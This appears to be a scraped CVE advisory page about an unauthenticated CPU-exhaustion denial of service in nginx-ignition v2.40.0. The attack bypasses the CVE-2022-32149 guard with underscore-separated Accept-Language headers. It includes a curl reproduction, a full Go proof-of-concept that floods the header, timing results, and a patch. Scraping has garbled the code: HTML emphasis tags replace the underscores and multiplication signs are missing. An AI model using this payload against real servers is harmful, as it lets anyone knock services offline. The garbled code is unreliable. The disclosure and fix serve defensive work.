nginx-ignition, Unauthenticated Accept-Language Parser CPU Exhaustion, CVE-2022-32149 (Critical) -DC-Sep2026-2502

Listen to this Post

1. CVE-2022-32149 affects golang.org/x/text/language.ParseAcceptLanguage.

  1. The parser processes BCP 47 language tags from Accept-Language.

3. Malformed long tag lists trigger quadratic-time scanning.

  1. The upstream fix in v0.3.8 caps ‘-‘ characters.
  2. Inputs with more than 1000 ‘-‘ are rejected.
  3. The scanner internally aliases ‘_’ to ‘-‘ during parsing.

7. The CVE-2022-32149 guard does not count ‘_’.

  1. A payload using ‘_’ separators bypasses the guard.

9. nginx-ignition’s gin i18n middleware calls ParseAcceptLanguage.

10. It reads ginCtx.GetHeader(“Accept-Language”) unfiltered.

11. The middleware runs globally before route resolution.

12. Unauthenticated paths still pass through it.

13. Go net/http MaxHeaderBytes defaults to 1 MiB.

14. nginx-ignition does not override that limit.

  1. A 1 MiB Accept-Language header reaches the parser.

16. The payload uses 9-character _abcdefghi tokens.

  1. Token length 9 fails the len <= 8 tag check.
  2. The scanner calls gobble and memmoves remaining buffer.

19. Total bytes moved by gobble is O(N²).

20. One request burns about 2.4 seconds CPU.

21. Ten concurrent attackers saturate a ten-core host.

22. Upstream bandwidth use is about 10 MiB/s.

  1. The response can be 404 while CPU is consumed.
  2. The existing ‘-‘ control returns in about 32 ms.
  3. The ‘_’ attack returns in about 2.4 to 3.6 s.

26. Application-boundary amplification is about 75-110x.

27. Affected version is dillmann.com.br/nginx-ignition v2.40.0.

  1. Earlier 2.x versions are affected by code inspection.

29. The vulnerable file is api/common/server/i18n.go.

  1. The fix is to filter ‘_’ and ‘-‘ before parsing.

DailyCVE Form:

Platform: nginx-ignition
Version: v2.40.0
Vulnerability : CVE-2022-32149 Guard Bypass
Severity: Critical
date: 2026-09-21

Prediction: Patch date unknown

What Undercode Say:

Analytics:

docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("<em>abcdefghi" 100000, end="")')"
echo "header size = ${PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18090/api/health
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}
E2E: golang/x/text ParseAcceptLanguage '</em>' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.
Target: http://127.0.0.1:18090/api/health payload=1048576 B
warm-up header=0 B '<em>'=0 '-'=0 status=404 t=10.336041ms
measurements (single request each)
baseline (no header) header=0 B '</em>'=0 '-'=0 status=404 t=4.211583ms
baseline (1 short tag) header=5 B '<em>'=0 '-'=1 status=404 t=3.276416ms
guard-fires control ('-' x payload) header=1048572 B '</em>'=0 '-'=104857 status=404 t=31.683792ms
attack ('<em>' x payload) header=1048572 B '</em>'=104857 '-'=0 status=404 t=2.429408875s
attack repeat 2 header=1048572 B '<em>'=104857 '-'=0 status=404 t=3.589948166s
attack repeat 3 header=1048572 B '</em>'=104857 '-'=0 status=404 t=2.415860875s

Exploit: (Educational Purposes!)

// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18090/api/health"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '<em>'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "</em>"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('<em>' x 1MiB)", buildPayload("</em>", 1<<20))
send("attack repeat 2", buildPayload("<em>", 1<<20))
send("attack repeat 3", buildPayload("</em>", 1<<20))
}

Protection: from this CVE

// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
langHeader = ""
}
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}

Impact:

  • One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
  • The 4xx/5xx status of the eventual response does not matter.
  • Self-hosted nginx-ignition instances exposed to the public internet are exposed.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top